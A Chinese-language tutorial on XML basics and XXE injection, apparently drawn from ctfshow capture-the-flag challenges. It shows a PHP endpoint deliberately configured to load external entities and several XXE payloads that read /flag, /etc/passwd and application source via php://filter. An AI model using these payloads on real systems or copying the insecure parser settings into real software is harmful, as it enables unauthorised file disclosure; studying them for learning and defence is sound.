XML漏洞

XML指可扩展的标记语言，设计的宗旨是传输数据，而不是显示数据。目前主要是作为配置文件。
在java和php中都可以使用xml作为文件配置和数据传输载体(现在基本使用json传输数据,xml用的少)。

XML语法
1.所有XML元素都须有闭合标签
2.XML标签对大小写敏感
3.XML文档必须有根元素
4.XML的注释
5.XML的属性值须加引号
6.<?xml version="1.0" encoding="UTF-8" ?>

XML元素的命名规则
1.名称可以包含字母、数字及其他的字符，但不能包含空格
2.名称不能以XML、xML等大小写开始
3.名称不能以数字或者标点符号开始。
4.XML属性必须加引号。

XML解析
常见的XML解析
一.DOM解析:将整个xml文件加载到内存中，并解析成一个Docunment对象。
二.SAX解析:他会逐行扫描文档，在扫描的同时进行解析。

XML约束
1.DTD约束：文档扩展名.dtd，规定文档中元素名称，子元素的名称及顺序，元素的属性等。
2.Schema约束：比DTD更强大，文档扩展名.xsd，通过命名空间引入使用。

XML命名空间
文件定义了相同的名称元素，就会出现名字冲突
引入方式
默认隐式：xmlns = “http://cjm.org/xml/javaee”
显示方式: xmlns:xsd = “http://cjm.org/xml/javaee”

实例一：xxe漏洞

<?php
error_reporting(0);
libxml_disable_entity_loader(false);  //启用外部实体的功能
$xmlfile = file_get_contents('php://input'); //伪协议接收XML数据
if(isset($xmlfile)){
    $dom = new DOMDocument();  //新建一个Document对象
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); //加载xml
    $creds = simplexml_import_dom($dom); //函数把 DOM 节点转换为 SimpleXMLElement 对象。相当于解析xml
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__); 

payload

利用file协议进行读取文件
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<yu22x>
<ctfshow>&xxe;</ctfshow>
</yu22x>

实例二：xxe漏洞
随便输入账号密码，登录抓包：

发现里面存在一个XML实体，我们可以构造恶意实体，尝试读取文件：

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///etc/passwd">
  ]>
<user><username>&admin;</username><password>123456</password></user>

接着尝试读flag
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>
<user><username>&admin;</username><password>123456</password></user>

实例三：xxe漏洞php://filter协议读取文件

尝试读取获取源码。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
 <!ENTITY exp SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
 ]>
<user><username>&exp;</username><password>aaaa</password></user>